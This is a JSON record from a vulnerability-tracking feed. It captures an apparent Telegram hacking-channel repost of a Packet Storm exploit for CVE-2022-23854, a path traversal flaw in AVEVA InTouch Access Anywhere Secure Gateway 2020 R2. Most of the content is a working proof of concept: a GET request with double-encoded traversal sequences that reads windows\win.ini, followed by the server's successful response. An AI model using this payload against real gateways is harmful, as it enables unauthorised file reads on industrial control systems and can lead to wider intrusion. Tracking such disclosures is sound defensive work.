{"uuid": "7eb46491-af5d-43ed-b166-57970dc084a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23854", "type": "seen", "source": "https://t.me/hacking_Attack/76206", "content": "Exploit Collector\nAVEVA InTouch Access Anywhere Secure Gateway 2020 R2 Path Traversal\n\nhttps://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png \nAVEVA InTouch Access Anywhere Secure Gateway 2020 R2 suffers from a path traversal vulnerability.\n\nSHA-256 | a78de92013681ef6d9eab5f28cda6712397f5a30d67a7a27854785925a87f96a\n\nDownload\nExploit Title: AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal\nExploit Author: Jens Regel (CRISEC IT-Security)\nDate: 11/11/2022\nCVE: CVE-2022-23854\nVersion: Access Anywhere Secure Gateway versions 2020 R2 and older\n\nProof of Concept:\nGET \n/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini \nHTTP/1.1\n\nHTTP/1.1 200 OK\nServer: EricomSecureGateway/8.4.0.26844.*\n(..)\n\n; for 16-bit app support\n[fonts]\n[extensions]\n[mci extensions]\n[files]\n[Mail]\nMAPI=1\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:34.210356Z"}